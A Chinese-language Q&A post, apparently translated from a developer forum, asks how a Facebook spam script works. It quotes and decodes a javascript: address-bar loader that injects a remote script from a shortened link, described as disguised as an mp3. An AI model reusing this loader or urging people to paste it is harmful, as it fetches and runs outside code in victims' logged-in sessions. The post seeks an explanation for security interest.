Facebook垃圾邮件代码的解释

Explanation of Facebook spam code

本文关键字：代码 解释 Facebook      更新时间：2023-09-26

所以，我刚刚在Facebook上看到了这个用JavaScript编写的垃圾邮件代码，我想知道是否有人能向我解释这些代码是如何工作的，以及如何与Facebook交互。我不打算将其用于恶意目的，但我只是对Facebook等网站的安全感兴趣。这是从地址栏执行的代码（我建议不要自己尝试，你可能会遇到一些烦人的朋友）。

javascript:    (a%3D(b%3Ddocument).createElement('script')).src%3D'http%3A%2F%2Fbit.ly%2FFB1337%20%20%3F'%2BM  ath.random()%2Cb.body.appendChild(a)%3Bvoid(0)

在这里检查，链接是url编码的。：

http://meyerweb.com/eric/tools/dencoder/

javascript:

a=(b=document).createElement('script')).src='http://bit.ly/FB1337?'+Math.random(),b.body.appendChild(a);void(0)

据我所见：将这个url加载为脚本，并将其添加到当前页面。

编辑：加载的脚本位于以下url：http://www.raxarstudios.com/x/audiotrack2.mp3

它伪装成一首mp3歌曲，但它只是javascript：http://pastebin.com/RVmNVtt9我很快浏览了一下，它显然使用了一些繁重的ajax来添加事件并将您自己加入其中

相关文章：